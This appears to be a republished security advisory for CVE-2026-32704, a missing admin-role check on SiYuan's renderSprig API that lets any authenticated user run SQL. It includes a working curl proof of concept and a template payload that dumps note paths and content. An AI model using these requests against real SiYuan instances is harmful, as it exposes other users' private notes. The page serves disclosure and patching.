GITHUB.COM/SIYUAN-NOTE/SIYUAN/KERNEL · CVE-2026-32704 · Package
FIX → 3.6.1
SiYuan's renderSprig API endpoint is missing its admin role check, so any authenticated user, including read-only Publish Service accounts, can run raw SELECT queries. An attacker can dump all note content, metadata, tags and custom attributes from the workspace database.
first public Mar 13, 2026 · 2 sources
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Teams running a self-hosted SiYuan kernel at version 3.6.0 or earlier where some users hold regular or read-only accounts or API tokens; anyone who can authenticate can read the full note database. Single-user installs with only the owner holding credentials are much less exposed. Instances that are fully patched, or where access is limited to the owner, can skip it.
Not affected if no-untrusted-accounts, single-user-instance, version-3.6.1-or-later
Who cares api-token, cwe-285, cwe-732, go, self-hosted, siyuan
siyuan --version or the app's About page; affected versions are 3.6.0 and below.POST /api/template/renderSprig route that lacks model.CheckAdminRole.POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.
File: kernel/api/router.go
Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:
// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
model.CheckAuth, renderSprig)
// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)
renderSprig calls model.RenderGoTemplate () which registers SQL functions from :
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 3.6.1
3.6.1 or later.kernel/model/template.gokernel/sql/database.go(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
return
}
Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
-H "Content-Type: application/json" \
-d '{"authCode":"test123"}' -c /tmp/siy.cookie
sleep 15 # wait for boot
TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
-b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'
Confirmed response on v3.6.0:
{"code":0,"msg":"","data":"[{\"n\":0}]"}
Full note dump:
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
Any authenticated user (API token holder, Publish Service Reader) can:
This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.